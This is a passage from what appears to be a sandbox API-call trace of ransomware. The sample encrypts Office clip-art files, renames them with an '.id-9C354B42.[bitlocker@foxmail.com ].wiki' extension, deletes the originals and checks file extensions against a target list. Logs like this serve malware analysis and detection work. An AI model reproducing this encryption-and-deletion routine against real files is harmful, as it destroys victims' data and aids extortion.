office\\clipart\\pub60cor\\j0153273.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.657] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.657] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0198.657] GetLastError () returned 0x0 [0198.657] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x4e80, lpOverlapped=0x0) returned 1 [0198.659] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x4e90, lpOverlapped=0x0) returned 1 [0198.660] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.660] WriteFile (in: hFile=0x1f0, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.660] SetEndOfFile (hFile=0x1f0) returned 1 [0198.660] CloseHandle (hObject=0x1f0) returned 1 [0198.660] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.661] SetEndOfFile (hFile=0x1cc) returned 1 [0198.661] CloseHandle (hObject=0x1cc) returned 1 [0198.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.662] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf")) returned 1 [0198.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0198.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0198.662] lstrlenW (lpString=".doc") returned 4 [0198.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.662] lstrlenW (lpString=".docx") returned 5 [0198.662] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0198.662] lstrlenW (lpString=".pdf") returned 4 [0198.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.662] lstrlenW (lpString=".xls") returned 4 [0198.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.662] lstrlenW (lpString=".xlsx") returned 5 [0198.662] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0198.662] lstrlenW (lpString=".ppt") returned 4 [0198.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0198.662] lstrlenW (lpString=".zip") returned 4 [0198.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.662] lstrlenW (lpString=".rar") returned 4 [0198.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.662] lstrlenW (lpString=".bz2") returned 4 [0198.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.662] lstrlenW (lpString=".7z") returned 3 [0198.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0198.663] lstrlenW (lpString=".dbf") returned 4 [0198.663] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0198.663] lstrlenW (lpString=".1cd") returned 4 [0198.663] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0198.663] lstrlenW (lpString=".jpg") returned 4 [0198.663] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0198.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0198.663] lstrlenW (lpString=".doc") returned 4 [0198.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.663] lstrlenW (lpString=".docx") returned 5 [0198.663] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0198.663] lstrlenW (lpString=".pdf") returned 4 [0198.663] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.663] lstrlenW (lpString=".xls") returned 4 [0198.663] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.663] lstrlenW (lpString=".xlsx") returned 5 [0198.663] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0198.663] lstrlenW (lpString=".ppt") returned 4 [0198.663] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0198.663] lstrlenW (lpString=".zip") returned 4 [0198.663] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.663] lstrlenW (lpString=".rar") returned 4 [0198.663] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.663] lstrlenW (lpString=".bz2") returned 4 [0198.663] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.664] lstrlenW (lpString=".7z") returned 3 [0198.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0198.664] lstrlenW (lpString=".dbf") returned 4 [0198.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0198.664] lstrlenW (lpString=".1cd") returned 4 [0198.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF") returned 63 [0198.664] lstrlenW (lpString=".jpg") returned 4 [0198.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.664] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.664] lstrlenW (lpString="J0153299.WMF") returned 12 [0198.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.664] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=36620) returned 1 [0198.665] CloseHandle (hObject=0x1cc) returned 1 [0198.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf")) returned 0x20 [0198.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.665] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.665] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0198.878] GetLastError () returned 0x0 [0198.885] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x8f0c, lpOverlapped=0x0) returned 1 [0198.888] WriteFile (in: hFile=0x220, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x8f10, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x8f10, lpOverlapped=0x0) returned 1 [0198.889] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.889] WriteFile (in: hFile=0x220, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.889] SetEndOfFile (hFile=0x220) returned 1 [0198.889] CloseHandle (hObject=0x220) returned 1 [0198.889] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.889] SetEndOfFile (hFile=0x1cc) returned 1 [0198.890] CloseHandle (hObject=0x1cc) returned 1 [0198.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf")) returned 1 [0198.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0198.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0198.891] lstrlenW (lpString=".doc") returned 4 [0198.891] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.891] lstrlenW (lpString=".docx") returned 5 [0198.891] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0198.891] lstrlenW (lpString=".pdf") returned 4 [0198.891] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.891] lstrlenW (lpString=".xls") returned 4 [0198.891] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.891] lstrlenW (lpString=".xlsx") returned 5 [0198.891] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0198.891] lstrlenW (lpString=".ppt") returned 4 [0198.891] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0198.891] lstrlenW (lpString=".zip") returned 4 [0198.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.891] lstrlenW (lpString=".rar") returned 4 [0198.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.891] lstrlenW (lpString=".bz2") returned 4 [0198.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.891] lstrlenW (lpString=".7z") returned 3 [0198.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0198.891] lstrlenW (lpString=".dbf") returned 4 [0198.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0198.891] lstrlenW (lpString=".1cd") returned 4 [0198.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0198.891] lstrlenW (lpString=".jpg") returned 4 [0198.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0198.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0198.892] lstrlenW (lpString=".doc") returned 4 [0198.892] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.892] lstrlenW (lpString=".docx") returned 5 [0198.892] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0198.892] lstrlenW (lpString=".pdf") returned 4 [0198.892] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.892] lstrlenW (lpString=".xls") returned 4 [0198.892] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.892] lstrlenW (lpString=".xlsx") returned 5 [0198.892] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0198.892] lstrlenW (lpString=".ppt") returned 4 [0198.892] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0198.892] lstrlenW (lpString=".zip") returned 4 [0198.892] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.892] lstrlenW (lpString=".rar") returned 4 [0198.892] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.892] lstrlenW (lpString=".bz2") returned 4 [0198.892] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.892] lstrlenW (lpString=".7z") returned 3 [0198.892] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0198.892] lstrlenW (lpString=".dbf") returned 4 [0198.892] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0198.892] lstrlenW (lpString=".1cd") returned 4 [0198.892] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.892] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF") returned 63 [0198.892] lstrlenW (lpString=".jpg") returned 4 [0198.892] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.893] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.893] lstrlenW (lpString="J0156537.WMF") returned 12 [0198.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.893] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1376) returned 1 [0198.893] CloseHandle (hObject=0x1cc) returned 1 [0198.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf")) returned 0x20 [0198.893] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.893] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.893] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.893] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.894] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0198.896] GetLastError () returned 0x0 [0198.896] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x560, lpOverlapped=0x0) returned 1 [0198.897] WriteFile (in: hFile=0x220, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x570, lpOverlapped=0x0) returned 1 [0198.898] ReadFile (in: hFile=0x1cc, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0198.898] WriteFile (in: hFile=0x220, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.898] SetEndOfFile (hFile=0x220) returned 1 [0198.899] CloseHandle (hObject=0x220) returned 1 [0198.899] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.899] SetEndOfFile (hFile=0x1cc) returned 1 [0198.899] CloseHandle (hObject=0x1cc) returned 1 [0198.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.900] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0156537.wmf")) returned 1 [0198.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0198.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0198.900] lstrlenW (lpString=".doc") returned 4 [0198.900] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.900] lstrlenW (lpString=".docx") returned 5 [0198.900] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0198.900] lstrlenW (lpString=".pdf") returned 4 [0198.900] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.900] lstrlenW (lpString=".xls") returned 4 [0198.900] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.900] lstrlenW (lpString=".xlsx") returned 5 [0198.900] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0198.900] lstrlenW (lpString=".ppt") returned 4 [0198.900] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.900] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0198.900] lstrlenW (lpString=".zip") returned 4 [0198.900] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.900] lstrlenW (lpString=".rar") returned 4 [0198.900] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.900] lstrlenW (lpString=".bz2") returned 4 [0198.900] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.900] lstrlenW (lpString=".7z") returned 3 [0198.900] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0198.901] lstrlenW (lpString=".dbf") returned 4 [0198.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0198.901] lstrlenW (lpString=".1cd") returned 4 [0198.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0198.901] lstrlenW (lpString=".jpg") returned 4 [0198.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0198.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0198.901] lstrlenW (lpString=".doc") returned 4 [0198.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0198.901] lstrlenW (lpString=".docx") returned 5 [0198.901] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0198.901] lstrlenW (lpString=".pdf") returned 4 [0198.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0198.901] lstrlenW (lpString=".xls") returned 4 [0198.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0198.901] lstrlenW (lpString=".xlsx") returned 5 [0198.901] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0198.901] lstrlenW (lpString=".ppt") returned 4 [0198.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0198.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0198.901] lstrlenW (lpString=".zip") returned 4 [0198.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0198.901] lstrlenW (lpString=".rar") returned 4 [0198.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0198.901] lstrlenW (lpString=".bz2") returned 4 [0198.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0198.901] lstrlenW (lpString=".7z") returned 3 [0198.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0198.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0198.902] lstrlenW (lpString=".dbf") returned 4 [0198.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0198.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0198.902] lstrlenW (lpString=".1cd") returned 4 [0198.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0198.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0156537.WMF") returned 63 [0198.902] lstrlenW (lpString=".jpg") returned 4 [0198.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0198.902] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0198.902] lstrlenW (lpString="J0157167.WMF") returned 12 [0198.902] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.902] GetFileSizeEx (in: hFile=0x1cc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=46702) returned 1 [0198.902] CloseHandle (hObject=0x1cc) returned 1 [0198.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf")) returned 0x20 [0198.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0198.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0157167.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0157167.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1cc [0198.903] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.903] SetFilePointerEx (in: hFile=0x1cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0198.903] CreateFileW 